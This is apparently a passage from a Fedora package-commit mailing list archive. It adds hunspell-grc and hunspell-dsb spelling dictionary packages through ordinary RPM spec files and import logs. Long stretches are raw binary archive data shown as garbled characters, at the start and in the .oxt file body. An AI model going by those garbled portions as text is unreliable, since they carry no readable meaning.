lO?(+l<K at Y<?Ti????s??1???????9*???+?D??????u?bu????a?	???St
?H??v?h?=
??_3???N?kmN(i!??L?)?*h?C???ZP?S?n???>??&d*?*?C?I9??????ds??? -??????xJ???+Qn???1I?????Ka??P???$B??!?%???w*?I???;?
??+??w?d??B?V9m?0
%?Gy?i? ?v?????<F??????>?NR?$
?????)?/?????z6U??G#??Mv?????R??{?4??<????%??
z???m?:????s??;??t???r:w???~???$@t????l?_l
???x?\?n??:a??$?B???????vz??????_9???g???-??])?Nb?Zc?&d"??\?.^1?E?w????w
[??????no???r?+8?$`??k"??{?f??h??8???????egw??]?*e?u$W?`GT??`*????z????sQ???x?Z?S???NB??c??bf??:A?]n.T?
????F?\3??]?PT?@{?:?v??!?j??)?r?b$?rI???n?U?JO?g?G????W;??`?5<8?>?).de??????4`???q???[????Y
?R'%?	?tz??C|O}????z??i*?DU?0K?u???Ge??fts-?qw?$?}>N?????D?.???'x?????H?5?[?7
rWi?S?uZ\?????x?
8?Z;??t66?/MAc??X????????????J[r
?????1a?.????9????p???/"8?bVV-+???y???O?
?;r?;???????Y?PvO??^"?bY4s-Y??/?a?gb(????S??Y?.V??+g?'y?eU????`?<????%?H&??"	???????R	ta31?;??????2t??????y?a?y$?F??%-????o?XN?P-?w??{?????|BX??????a?{q?W???j?????i?? Oh????lj(t?0?c?c?I??g??????]?W???!D??:?????gn?.??????R?c]=
}fJ6	?"??????,??pp?}X??v???Y?1R????P?V?????#Q?;?c{r?????q?hr?^?yvvQYp?(`?C	??$96??K?-?7??
?&?q??j???@M?????$pS???U???4?`??eT$p?,???
?@??K?<?7dLy"?	??U?z?[%x??j5?????????n????C????L?Q??_?n+O???SU??;}???S?wG??z?
???U?_?q>?'?&OQ???4???:?T?
??x=??c.???j@?P?1?nbN?????0r?FT?vx????(I?\1?????8?[]K???R?a!?W?D??????y????`9?4d???????c?H?????A7??E|???*B?????NB????????|?I???????w=XXn????`E4w?????c?{ROo??'i???!???S???1?J
W$??%???-????Q?q?$????Y
?/??A???K??&?_???"s??R?U?F??,M?=KO>X???'AR?{?nMY?~?)?e???5??A???Y???n?????-??????x?WG:)
?<?|?_???
c?MF?6???Z???? ???~??????q?????Pe???c at 0^????w?;;E?????	?O?????3'?n?????a????0)m?y???F??N?2	??v?T?????N??K??RYd?	??}D??????????b~?????Z??3???2????????aE;??8?????nRad??.?(?72?z#w????}w???",????T'
ta??n?w????e??Y??K??u'9?N-???)?x???/??.*?5???+>m????,<??Wo?ilv?i?K&-{u%?P&??.? ?{PQW?_?r????d????5W?'????F?w?????F-]_??1D?????I????/t?? 
 ??????@N?L8??54G??y?#P??+?#??G??????iWw5???Hj?xm
??SZf?5,?$?
7R??2????me?R?k*????
|??????
?X
???L?~$|?A???Zf?.cty???a??a????N??h???
??g,Jq?????m$H?)c??c???X?c??$*j_?@9?r7f?q,=P??:jj%Do5??n?F???=^?.?B)?2?X-???w????+?o?:U??\?z???ZI`hB???w??????Q"?o(??4??4wa?v/@t????q?? R?09??I???4??+?m?/?h?	???/????f*????????????T|<|????6????9????`d?QO?
%?????p64?~????	l?????,?m??4??D?#=??Y??Z???3??w??.?y=?\???u)l??m?m??*x?8
????N?P?f$????-no	??w?_M?*
??gT??(? ???l??N#H??d?K`?v?g/??.&?3???sWv?H????I:?K ??|?u??%??p?a?l?l-3???!!G?g?????8?j????A??????2?w?4?di\z6??v	B?*??n??nux???y???;??w?2????
??H?T?O?,?OH?-???9K??O
ELS#N??d??Z?	8???????C^?m???Cu7K?X?I@==$??Qfb?9XJ?4?LZk????|?`f?:???l????@?+;?ZW?????A?8?G???>>???8?Y??C????wj$???y?T???U???&?2zZ???8???b?*i]????+??w??l??,pO?V??b?K???X?.h?_?(#???Z?i??pd????o??J??U(???S????S???`L??$J?4?<]?1F?N?7?+???4?????n???[?k??
??3????.*V????wL?	o<? ?X_?m'v1??P(??I@?I?:????I??_K?4?-??{????d?f????u?B????-????zd?_???u1?????+Wk?m????&	o???S??C?I-0m???F U
?`???9??TK? ????V???N??g??n?c????{69_ol?7
C?A}r??NA\v?Ap}?.22W%?k???????f?
n_?RW=??&?????;?X$?rD@?^?pr??5??z??&`?@iM=)h#
Sb?1F.??LI?S?u????UO?m}?3?vLBS???L???^b?R*o/N???CA???)?n^?vDd?C?0m??????
(?Ueva?I8????f??5/[r at F>H?0????{I??X?K'????3$??J????,?F?0
7??y?eD??????!???md??oH?6}??	+d??V????`Jh?????b{?.WQ?w??z
????e??q?~??/G??????????????O`^a??]q,??C?6x???%G?T??*??`??8;???R??k
?A`?+d???fC??????E*A?wg|j;u?=A~R??b'=??~5 d')?????{??	?@O?}%)U?	NM?????8??_?z??#????k??"k?
xF?????z?<?|???b[???v?????z????Q?
4???`??mq??
?Z]?/?????1X????^???D^?`?/qp??a????	s?????]??2???HD$9i???L~'??m#$
xO?????QI???>'??o?V)b??*3x???W[??49{-?e[???f*?K?|???????G?????U$?????&?3?df?K?v???p????3lo????w?u
???g*%nW#kP=?f$???0??p
V??????K"???.IE?JG		r?r??g_????
??H?J?R??dD?
5????2%??w????M??????+????[B???
B?V[???M?\???n?IM?U?#???}???v???n5J????s?????$
?;s??????????4srh?^I{n???cB??Gg?U?:6?~6M??????{F?$????????????hn5????????f???
????\???W????\?~^{?D?z;?:???X$?????M>{?
n?6??????4
?_qV????~?a?
)?e5???????1????}T????$?????????b??%?-??? ,+!?V<;r??yz??`;
??#??????7:??c??h?E2??i??J??t??A??(W?-?#?I???????EG?)?X?R????E?fr~x??????!???E%~w??????Y??J????
??.E:???G?Q??wOZ?<???b?????G????j?C?h?cE????O??Y??x?$?Z??E.????? ???C????m???????W??????[u???q?ut????????K???\I`?J?????^?H??5??J???9?=?????,?????.	?[?J? ?.{???S?6???$9r?F????x?3?`??zU??T???"??^??S?=?????(1N#????a9??*???p?(?+Z?+?Mk?3??%ne??~?~o?5?????T??O??[<{????*+????a????>}?P3<4???a9??
???????/;???????zx6????m??xb???Y,???h>?[M8
????;P?????}?I+??~%???un??gKt-)???Y???)2bG% ?<?????? q???p?=?qHFk_?????%??v?DG??b??oZ???'c$/????+R?L????4k9???%?\?(A?]&}?N!?nB?o4???<Q&?4m?'???"???%6???m?????rM?????/	`?W????]d?05_tQ??zM:?????5??w???%???L??z??????J>????????`>E??lZ????8??<?)?Lzh7??K???N>&??F???????v?m?w?q?x{??????z??'?mu??e?(????|???P?r5Z??=????~v??:T?_4?$??#d'?????@?{H7n%*???@YGWx?U?TW?%-w?=?8?&$?????_??!??s??'??5z??a?r)????}9i?z???K|??#?HJ`?q???iCmF	?r?va?p?b?_eT???l?K???????c??37.???(??]k'??$???4#?"C??????H?U????9?C
?7??T?$??:?e????y>?|?I Z7?e?.-?R??TE????	?S?c?????4?u?#^?Sl?Q?UT?>?+???????
 5??k?@?????N??a????n??????%?h
?Q??$p??O??h?.>????~??????'Hoj??,{??~??]Me???t????!?d??+P7??#???L7?F?>;?	?????~?????NqE??`5?V"z????4I	?
.??B??	?????Fp>????????1?$?6?rL6<u???}LX?r??1?Q?~LP????	??X?jz?S?&W=??s??f? ?	??*m?Ja?????5x?$gQ?f?????RI?z?+<??g{?a??{?@W;?	????M ???F at W+?`?
???z??&?=?z?=V5?qhs%kKg2???????G@?
??UMqz??S>??Q.4jzIp??`y?k?a5????t???ti??\?+?}_(<k?|???n???P%??F+????W#?Br1M???H?BpP?*i=??]???-	?-\:???;??,?????Clr?tHiK=??RSDF?;,s?s[??r&Z0';m#"?8????g?x??2??~!?/?k???mX	???[;??h?L????????}?|0??Ud?#?"L??e??7?y?6i??X??uRq?S??m??G?Y??????&v??$??G.?{??.k???Rp???
??J
???0?R_?????~??{+ApU?-???H[?>?????t?
=?%P?b?h| Ab?g0C]?%?x>??=?3????=?#h? ???uN6??
Fp?@s????y???D?P???????P(N???????.?
e???|??a??f,?I0?y?????w??????lV??0???y??s?@?bb|???&T?
Z?1?`n??x
???}B{?6?5??b???u?/DI????<???NH???t?bFR?A?e???5?>v[??
 ?
?o^?O?VX???l?*?p???W?p?+?z?K?t??T?
VP?'M?V???1C-?	\?5?%V??#????N?????R?hR??????x????=>L????s???Z?????u?&eSj??K????Z?O?=??b7|-&?gXg?gnn?q#??L??????q,??~O}???x??8.3????	????0?/<??<???TBH?5????]?R?t3??E???)?6V?)M???????#pc??????n?n?!8O??N_Jz?????D#H'????T
???-,?}K???G?
9?6????C:????"????o?FW{??H??}??HOM$???Pa???????+??M%%:??i1cv&o???V?R??t???????$??????t?b??K???/?????M.?J^?????dp?2????mZW?I?54Nr??^????z?'x?)_??@?}c?

	?????n??y
b??????????%??VV?X??-i??
	???a???N3S{?%???[ ?|%?
??+?
?[????6I
f"k??6Q???JeEql?????;Q.?G?i1!
?4??????
??p!dm?????',3=,?
P???*H??e??'????4??e6>?????=]	???n;??,?Q??12+?4? o???18?_()N]??+??sd?'%?F???????,???'C?&?rR??;????
?:?)t?M=????????9H?@?'	${?x5y???Q??????????Wa?B
v#p?VV?`?_?f?vc3Um??)?W3m~?
o!*n??e?{??????????J??????<?L?^]?$?F?Oo??E????	e??'?Z?.?-.?E/`=n?P7u$?C ??????<?d?WqF?C5?????8K4k?f?m%?}????
?O%p0?$????PB	??????????y?oJ?v3e??D???
??:?'????UU????m/?
?xu9?
?H?$%f?I{?Y??r?-?|n^Y?P?:)?`??3?F?H?9WMx?p?p?G?w??R.5??5??l?r)?????6vm????V?????u??pH??/???M?-%?z????M;???X?y??x?6?#?!
V??
.H????KWH?L.???K,??R?q??Q
:?q1.??????$#????t
?U.??_?oK?*&?]
sV
QNxi\_?????^??oM??~?;r??h??b<??is?o	P?6(?jm?b>??M???1Wl??7???
?j??\???p?9,}????W??P?H?	??*?\??K+i8???j?!X#x.???$K?c)???w??C|~Q?3??3???4?|?A???hTb71




--- NEW FILE hunspell-grc.spec ---
Name: hunspell-grc
Summary: Ancient Greek hunspell dictionaries
Version: 2.1.4
Release: 0.1.alpha%{?dist}
Group: Applications/Text
Source: http://extensions.services.openoffice.org/files/2313/0/grc.oxt
URL: http://www.himeros.eu/
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
License: GPL+ or LGPLv2+
BuildArch: noarch

Requires: hunspell

%description
Ancient Greek hunspell dictionaries.

%prep
%setup -q -c

%build

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/%{_datadir}/myspell
cp -p dictionaries/el_GR.aff $RPM_BUILD_ROOT/%{_datadir}/myspell/grc_GR.aff
cp -p dictionaries/el_GR.dic $RPM_BUILD_ROOT/%{_datadir}/myspell/grc_GR.dic

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc LICENSES-en.txt         

%{_datadir}/myspell/*

%changelog
* Wed Oct 14 2009 Caolan McNamara <caolanm at redhat.com> - 2.1.4-0.1.alpha
- initial version


--- NEW FILE import.log ---
hunspell-grc-2_1_4-0_1_alpha_fc11:HEAD:hunspell-grc-2.1.4-0.1.alpha.fc11.src.rpm:1255643532



From caolanm at fedoraproject.org  Thu Oct 15 21:57:55 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 21:57:55 +0000 (UTC)
Subject: rpms/hunspell-dsb/devel hunspell-dsb.spec, NONE, 1.1 import.log,
	NONE, 1.1 lower_sorbian_spelling_dictionary-1.1.1.oxt, NONE, 1.1
Message-ID: <20091015215755.F14BE11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-dsb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32536/devel

Added Files:
	hunspell-dsb.spec import.log 
	lower_sorbian_spelling_dictionary-1.1.1.oxt 
Log Message:



--- NEW FILE hunspell-dsb.spec ---
Name: hunspell-dsb
Summary: Lower Sorbian hunspell dictionaries
Version: 1.1.1
Release: 1%{?dist}
Group: Applications/Text
Source: http://extensions.services.openoffice.org/files/3045/1/lower_sorbian_spelling_dictionary-%{version}.oxt
URL: http://dsb-spell.sourceforge.net
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
License: GPLv2+
BuildArch: noarch

Requires: hunspell

%description
Lower Sorbian hunspell dictionaries.

%prep
%setup -q -c

%build

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/%{_datadir}/myspell
cp -p dsb_DE.* $RPM_BUILD_ROOT/%{_datadir}/myspell

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc description/desc_de.txt description/desc_en.txt description/desc_pl.txt registration/license_en.txt  

%{_datadir}/myspell/*

%changelog
* Wed Oct 14 2009 Caolan McNamara <caolanm at redhat.com> - 1.1.1-1
- initial version


--- NEW FILE import.log ---
hunspell-dsb-1_1_1-1_fc11:HEAD:hunspell-dsb-1.1.1-1.fc11.src.rpm:1255643841


--- NEW FILE lower_sorbian_spelling_dictionary-1.1.1.oxt ---
PK
??#???????,?hB??Zk"???sP???
?? ???Z?+V?
QOt?????8???Q? P?? gPC???1{R?,?H?+.&?WIY??w???_?`g?ow+?b??fp?????v???Yv???J?.?	?????#?sx????????<?<?
PK

?F%???#??M?"?Q:?????'??n
??`?u[??,??{?$????{??2??g? ?)???????+?4vh
?f???C?5Z:?f???;???W?????X5?j<d??U?!???&?? ??f?c,L??|??*?{???ts9?F
????????a??#??????y?z??<?`y????27?p???F8?f?ox<??'???}D?l*?5!0'l2Q???,U>??)6???I>?h?5C'W0??{>j???U??*Sei?"?+3????????'A?I????F?$#j`iT??F.???,????MM?Y4L+?I>???H?G?;?)??F?C???0???\?C/
??&g??7z??K????O)?5??,??(v=	?{?????rH??>??9%s?U~a-?l?????
?????1???X????????),g?)????????@76uK?
? ?? ?8???\F???]??????U<?HC@??"??\???4Z??*??\??@t??????y?<??k??H^YT?????a?D?I??L?nT?Fao???J??????????	????V~????????????????t?>?Y??
d?F?k?t?[?t@?t??B:????)?\"f???H?a,?|??)??e??6??^?????p???;??????l????i96???:n
P??6?P??p????:??????8^,???e??????&ez??G??yGp?]
.????
??V?? 4Q??b??J??J??,?+Y?W???klT??VY???V?W?8*>??c????`?????????????<P'??;N+y?(??F?G7?< :????<|?????<??(K'????????~??p???	?h???B?3?m???6?h?H?????????V?1J?G]????*?l?V?e???E??Z?QW??l???Mo?P?;??p???X??<??????????
Col??a?r???~~/2???"???t?z????" yz?.7?Q?8
6?s??

?G?{{O<y??B????WK?O??????m???K??Zo????????kZ?Th
bZ????F?W7?????.??et???(c??"??j?W at LK?Uk?j?W????X?\K?E?iu?Ot?Ot??B???W??j?_
??????)|??????z?%>]m??????`{??????????Yr~?$??}?d=???a??Y???1??1??c?M?Pb9?C??X??1z???r,H?(??X??y?M?<7???????A??c^h5eW?c]??u?>???X???u?>???r??p?1???a??c 4s?Q?
??G?+?J?kT???t?Q?
??G?+?J?kT???,?X]???Xcu???]5V?j?.?X]???Xcu???]5Vk?-?X[???Xcm???]5??j??Ge??c?Q$?c;FeZ?n??"?????9]???.B??t?B?1s??t?0???Xy??????	3??Y?5?k?5??j??UcM????!7+?1?????c(??`?
?xM!:??$?Nw?????|D??|>?x
?Y?	????Q?l??n?2?}x,x???5??
!??~D??????h???a???>?X)??
????m??V?h?X\?
??`k??A?/?<?Z???~???8??'0??J?b3>??
?
\????`W<??
???C??????0?:?O?????^??Rv???eqH?OBT?:????e????G?
ze
Ks?4CGS?K?C?k?u}(?i
e?
?????G?+???P??]X?K3?4????`i????`>A?Q?&2?e??@(hi??????gR?)?0????G???MW???Vg?f5????t9W?g8???|[)i??J??+?g?M???I??
???h+?1???n????}*5??o1????V???c?mG???WX??d?mN???-??|???????????%????D?}??l?????0?>B?UY???6??m??J,??c?Ks?4?7J	f???o?2?u+?L???'?y?}???N?,???/?????7^???'8g????????O?Q????A?H2?;3??Nw?w,????<???H?+&H??Uz7 A?? ?
u?hA?u?0??:????@?$>$~????}cBC??{?$?????????a^??;?^&At,tQ?X????
?h?j????X?j?h?Q?W????)L9F??c$?C?
???!???p???c(5?X{F?	??l??#I?;??*??{?????????#??^a?????J??}i??q??a??!??9???h??????N?\??h?(t]????k?y?M????=?a?K
?C??C??C?????????????;K??J?CF?o3???z?+[?z????????/??5-?=?1-?1-?????'?m?: ???]$???]??????C?????
??
????????g?????;???T+t~PnWnWn???0???B??"?v?N0?-??-???	L?? nY?!Y??{<[)Q?lD?6%?{????IV??eb????+???????????K{? ?
{a??
=f???SF?
?wv?]??ng?]??????Qz9???????4_(}m??.???Y??Xz?c??7????e?w??p??0?g???]
?
??&?.[w??Cqa??{??e???
??`??;???+?g?}?pok'???PCf????;p?d)?
8g4A+??1??o	?{?&PQj??$s??G1?-kU{?E????'?C???~?????`?!p>?x?#?]O??
?.???C????u??{?????l????'A???M???lN???~???9?
1|???????n18`?`?+???? ??c?
~h
C?-???"??[5F?k???:?8???l??M?>mBv??|??????A???%?\?m??
|??S???-????PK


?[C^??iq???n?????????e6?R?[????O??{9?_ya???
Sj????????KvF??????7^N??4??)?<)1??[E??0$???}???s??>-???g??w??{????Qtsw?.*????9m}????:??@t?rN?K?/dDb???%%?B??/?w?_?%????m	+	#?I?;??<l5?????rOn?????C
?+?pW:???.P?m]
^q_?h??????b???j???v??_;s??I?1???????,	n??,F???I?:?w
>~??~?v?d???:????????[?L?-???L??????D3????7d%R\AN??9%????y??d??R ????.Z???w?2???r??????)??H
?|??????]{)?.??tO??%m?Q??yI???ql6]??????TN?????ss?%??K???~???[?K????????8?V???/q?Z??.h???/?|?2?(W????d?~?v?xw??np??[~?8??Y????%?)???\#({?????8????
=??`f
?ZS}y????_>3?'"s?	??W?b?)??u??(?HhT;???}?
?x?L?Y?????}M??_?|6?g?-
?0Fm??^??VAa??|??N4???)4?^?;?????W??k??????j!?+?d????UT???????w?sN???d?V%Z~?q??
#??~?-?nV?@k(E?]?U??t????k?o,a??? ?>W?i?1o?lf?S?'?s7:B?h?"??|~Kc8?,l?Sn?)9<?0??y?b?K?7q??d??o???????/]Y????G?=????7B???<B???9P????Y?O?U"?;
i???>??????$?a??aw;?iA???N??LK?+E??]?d:??w?????????S ?f2I???23?(?*?????Q2Ax????6{?4|
??m}???p{$?a<?y??%?p?P=? ?:???b(LJ?u:??????T???+??UP??????}P??V%?FK???xT???p??!???O??y??j??????'?2??y?$mkZ?^9??
N(?>?!#?>???w?????t???mlT?hz5b?O?d??xc??GX??Jy??????6?v?@d?Q+S+?{?-?(q???M?
?O?????W?`]???P 	???r????

q???DOS?8H???k?????+?F??cd?:Q????j????????
??*??v%??{~?C??6b???K-?(tn?T????U??N?5?w??? ?!,@?d!j?????????7K?LhC?A?	???t?????c??I?_????CJLi`???s?
dx?????????x????~!~qh??|YB??nx q<?????#???<?n?k?05?i:??O??T?T	,???2??V)=D?z?????UR+?pC?4??!????a?KZ??6?h!D?_??^):?Y??????*h?Q?P????
??o)??Jd=f#x????w6????? ??<???5IG-??Q??Z??>?????
??}???*??w#+?????L\???W?UX?VqW	1?=??D??C???Q??R?xMy+??]?-B1?=??(?????w|{e??"??G??<?X'?????</?G?tF?????&i?r???sc:?J7H???(??Q????2g??~7rVp,O?S)UtLq?:?;?&???<??N????}?Z??S?:?)uj????	?j{?]?????|??P?K5?JE???SF&Y5q???F
P2?F?+? Z?
?*?iX?8-???????w?%?s??9?@
???.?4?L?G?hJ?Kf?B??!b?v
??C???n??la'?n:?4?????-Jw?C??j??????!#?*?VS0(	K???O??q?@Z?Rw+?g9]???C?P(n*p?/d?W)??????6? N>?ua??f?T?j?3?f???[???[:1f?R?l?4????B;??/?y?4|???W??/g??P???F?<{????7m%W?e??? ??ziHh?M?f)0"?????VV?L#????U?$??X??????>???>??^??????O8e??"??y??M???n/??+?????lm?I!?????EDHt??,????:H?A?MJ?2:??|???V?????DC??]???Tw?j????????|Gv]1-??TpNw???e? =^R?T?'??k?5R?_???t?]D?i?@?ep?
3??a;?"????f:??7V??i??2???|z??=D?h?????????????vD??G???????^[???`B|???????m?&?#@?y,?'???J?O??5????+??G?,-.?q????e?h7K=p;?6?????D?n?v??T!?"V?J?S(`?!+
?M5r?^{?1t?????1?????/??~N?S0??????rJ???^=?H?uy?j?Z??M?????-?$???d	??yc=???????~???+??m:???C?I?|?_=u??)????????5S??v?)??`?c?Ub???"e(??!?3t??[??.
?p?????&????<%a.??????f:?Jj??\?{0?????L>??
?????|6L0??g{??/]?*R??G7s??????
0?H'R??
????H?qB??Y%eMy?X%?]?{K???h????.J_b????%?=ps?????
??
????co??T?0k?%"d??[???????lzb`m$?1j??????J:????n??:PEz(1Z??
???$SiiH?*??s?T???G??c????:V????G??R???J#8?
?D>	?????????????z???,o??????b??k)?j?)??4???? ???c??:?!:???lY??|mN?2??s#?=*??????I?q4f????4CZ????/?Xl*.?m?W:??b???rr?efR7?e?w:?+=?:Z???='9c,^3?(??c?????+??
l^??'??L*sE?%D?A?C?]=??=?7?u?C??:?3;??????}?Z??/XL;E(YSM?????/0???Y?0!?7?f[??]???&]L{???5X??
l??<??o??W????lC\?d???F9>0g????+?c9?:?x???????Y??o+?^??????W[?4?]??vd??T??Z?=?P??t?he? ?A??X?&C??
????E?Z?????w?
?Wn?d28K(??g??,6!h
.'-%S?m`5???-???.?yy??C??y?h?3???	I(??O|f?0S??
x=Zv???LV?pg+T?yT??????-???`???:?H
?F*?????q|+??????R??w???
?????a?????'?.?
??!??Zq??.G??\$?}?E????
>
??w??*Y??l?o???$3b??????7??c???????=P?P4,Uv|
??+??U7???F??R?????.?P?????:????????n??Z??PD?aO?J}k?sZP??U???????>JV?W?????G????h?????
??
gHb$4x?m?????????i?*??U9?F?td?O.
?????J??1???h
??w???c??"?l?_c??]??5?-??????K86]????"??6???????vHkFgW??Z?Nz'Z?r6?`????1?o
?B??@???o???q
??N??sA,?S@??????x?V?_?^???????m?m?b?|h\j+?
???V(????f4I??dk?qm\?#?~?2??}?tg?cgvk??[??*\+PaWk?????2.??3?%?<??'%`u?q?Q?????????l;z?????T0?????-
]E?"Qg:?7?????
?1?^?u!?p?l??????&U9??]?f??V/????n?7Y?d???Oi???*?{?F??EX,?hU??????F??????{??@:f?? YO<5M??x'???? <?&?3??O6??~??/?????!?????
	?S??I?u????/??
?_&??? ?"l?
_Q?A??:?U9??d?&?C3k??????a`?K?rE??;?a????E'UQg???=???g??H<p???????7??"??N????=?

????]U??????T?2T;??5X'??????cRPE5?{?????T9?1?
M??YB?.z ??A????xp?u??%&&?!?????CZ?Ku???]?v??z@?:???_An?
?&??6?????S??????$???+=?????'?X@{K at O?$I????H4???[gyDp??0d,&$?]?T???2o<Y?@A?bQ0JS???d-c????/'?m???RgM??'??u?E?$yA~?|??KnX?????
???Y??R?3??????
S??pV???a??]eMr~???6?#?Q???c&
?)??????;?>w?T?????@<????u~E?\???3??t?T2????I????A????V????+/;?*?*??g?Z`)????M????A??5
K%?????3?|NX??&??????"???g?k?R<??????
iU?|Q~??M??	v?&?4S?QD???A^!?q
=?0???L%pL????1?\O~?	F8?Pl
K?*??????>D??s???H??_KOZ_??????
??AIr?GG?\?n
?-??
?XF??R???q$?k0???4-s??N????@?]?4P]s???cCy9?W5c??'?`I??g/???_?G^?-i?JY1B???T??\?dI?_??o??M??k;?+%??'??Q??Vi}?
H?t??v??u?z???E?????????F???FX????????k???B??????r??a7t
f$??zv??Q???eH??RG`4L???=%?????Zb???????f|P
??2?[6?H?z??0
BU??????n???a?N??Y??3K?K????1-K?~M??Q?%'?dqJ?Zc?&??u?r????jSq???q4H%?al?p-?P????p$?
?dY
??^?5????pN?r?LJ?[?WM??_???k???(????#?
??D?e?	??1??????????? ??6?}uH:=}H4????[??~.?)??????/?&??_k?+?O??J??-?t5?)??*GD?H?Fi)??????e1X?t??
????y?Z?????zA???????]?zy?B????vi???????????^B?R????R?W?ll
?.`??W?i.??9G?g??V??0qOg?%???K1?p?1?U??????i??sMS??????|g??????O??U?????????C}????|}?????'??\???????N??P%?4b?;??GaP?T)gN?
1i?":?	??s?3??(3
,+F???X?`?i????V?Np??Sz?u????????9?*jQ????=??AQ???jf?R???
yZj?2??l??bOF?on?R|??
"{	??b?V?????(J?X??E????&?5?i&????b?J#?g=????????z?0scJD?m?????
??`??vd?bT3HD?&??Z#???x???????/???U
*??Q4???s?Z??5n????"?iR?????????1O=?\???5????3?i?]l^?????j??k.g??4????g?DJ?#?Ra?
?u=????1/?2?o????K????
?`???????3{?nwo??m??3N?c??Fh%<?X?????t??!Z??	)>~7??
???-?8{m??
J??Qw?&y?iiPU???b?x~???4G?X??'???`??????R???0???.?n?5j??|???S?[H?cG??d+?
?R?d?7Y(?	EqD???n@(??UAOuwa??|x??u???|??w?l??+????0??(??5??sD,?=????H????H???????h???"5A?16]??U??|?;WQ???8o??_??=??????ccJ??7?S??j?B?D?NBw?-?`??[?????f~???_mq???C%?<?????
\C????Ah.?#??ql????bl??:,%??B?L?????r?I<*7 at 5?o??B??~?J??b)M at O??,?
??>G??]??%J???S?_????:???l?F???????x???????UE?h????)??t?
?2K?4>???#??7
??^Aqc?|:?e???V?Gw???`??3i???}?q???&d?????$:?p%ZNkY?
?f??jw?B]??w7g??&:?[}???5??9U?0m
la???r?ba??R??qJw??_???[?Mc7c?;??v?)???:g?=.??E??j?j?hA?????(???F???V?=?M?5?>????)?p[???H????1?W??F??]?l
?h?????^ai????? ??
>'|E????????d;lGVi1??????O??O+?>~+?r??
?=??w*-??z???T?y?????X???
????lp????????(<????g4?(;????	?`?:??
???]M w???pM????T?)??gz???d`t)????@?|.#y????Y????q??R??F'6m??Ba????9?n?frb?=??????o(z?@?
dM??b???_?LzZH??<u?Q?g??(?r[????
n???z?2q1????y0MC??C??A??LY??>?D??mC????~2u???.6????vI????~J0?1???j?6??(#w,
?????
kf??b?d??&t?kCD+???B
?R???+????l?9
[?"???????'?
;??E)??T?9	?@????=????}?zE??f?D?(A5[94????ysD/??w?a??.?1???-?????!_??pZ????
GC4G??@?A???'>??G8e?2???5?W3?\?%?Z\?wG?Y?\
hE]`FJ?????9?N{?!????X?
`q??S????<????r?~??"?"3ho?K?z?@F???k!Zq??\??8
??a???_UkAB??JX?S1?(tK???
???.?"??K?E?/?t6&?????)???/??????b&I?i+??t+0?&?=?C?`a$?x?????@S;e?0?+07|?a?(P???????? X?S[?????v?9????/?Y????4??%+*o?r?????,???/?O|?-???????[???????z-?^?v???5n???+
G??K)??W?`Uq??+??lbU??????X??"??i??.vD??/??	??y?B??????VP4??Ch?p4?%B		d???:??pX??n????4E:???CX+H??????7?U-F%??>????9?Jg????=????k??8aG?W???_f?+???j[??P?F??o??u?@*??????e?No>K?A???@]?Kf?J???z??s????\nf?M?Q
???ym3
?????|?????? 6??&G??G_(?-#H?Ul???J????fI?????w???1?=P???),Q)?Qb????WL??[c??Dh2?????????v?????""????????z
clB?X??0?9H?m?cK?s:q]g
D?%
?V?0*7w?? ?n?????-???{%}}????-?vO?#???l?s??0??g?N?3=??`??s?
?#?w3?)?&V\?qh???@??M?3??(?F:#<?,>J'?2?Y7?{
Y?i?tKl?/??S??S|??I!??????3f??)??4k?2??dsTy3??^???7??{????????s????9??:???=S'u??????iQ?}4_z.?!?W???2{???5yf?e,7??9??k6f???6:????S??nS?y<???o0?Bk^?8V?g??d???4?*?X?????n? ??N?????????1fib??Q at 7m?to?h??\??u)????I?+	?????????g}?2~CQ????vQ?h?;?QlC5G?Su;??.1v?X?)?#?1J&?E??{?k;v????Vrl???j?p??????`gX?D?W?x??u4i?????X?D??CE??~?e?????*1??1XLj????Th?/W???!s??????????!??C??????}???#ng
S?\?????E?^C?N??}?&??(?0"y???NO????Y0VNf???w???????????????!???<?0\?D? &+?????x$i??gT?l??~~?7\????G??????sFQ?1??@8?x_p????tzs?Wm?a??
??`?????p?Xl?F??????
 ?G???'???H?2.?1???7{??G?8\g89??????T??W?X?4???K??
??M?k
?3??B?S????????Lh?
?H?1??-MLO?y?R???#hb?	pd$??H$?a?????????fk?b??l??dY!???[???h??+?O???Vu??????(????h?M??=?????x`?j?`G??)?W>??718?
_???.??Zp?HeO??f]?!??3??&??5???r7C???`????fq_F8I?y?L??=????
4??8?&p0???\x?U??H??W?D???????*???
???0/?t?\?(-??[3?n?<@?? ???t???d[?C?
*
??/?????????B7??????&???,4(\L ??uf;Z?t???L?L??q?
P???
?}?Be?X???X???I?X??????d!`??Eu?WD??%??????w??.(???{?????aC?I????X?????C?B	-???5?????k?i
??i??=3VZu????????o??:;
??6??H?<Z???????~+????????lN???,?^]?5.?Q??Q???5 Hvu??J?w???Y?M??????&?0?W???z?e???H4?E?'k?L??HQ??
??????)?????_??s-y?i$m???Q<nM?a?6K?2?\I?fL?l??'?g*????3??3??W?Xc??W?bC??zA?????????<???br??f'?????????????P?(X?d???lwv?v????*???/?`X???t?"4,
h??!E??????(?
n??5=??=?aQ?/T?S/???
euh?>?3????????
??:~???????????I?	?tr}?^??P\?Q?d7O?<~?uCB?i?O*?6?3.F??3GM}w????k?	e???7?H?~pM(?kC?/}?y>
?}^
?Xt?%??'??W??????/????????n?????<??g?AU5??j?$???6??W??????0???i_hS?]J=???HK??-?[_?R????&??
??ab|c?x??t???y<??????8<?????2x~l???I?????cK???0??i??u??????ox3????????s??m$?%?)????G>???+?l?S?????T?????t??????p?E??c????}H?^0?
u?j???U?]?3?P7Ey?n^>?n??9???-?????O????oGMW????????m-???E??Sw?*?}.?4lq]d
(?c?????;R???V?.<????+
??Mb?iUEr2zpU??X?U7|???????P?????????{S?|??GlT????
???
??V at 9u?|?????,?#???(
A?j???s?????????f??q??m?	X???????????U8`?$???0L??t?A?,(??
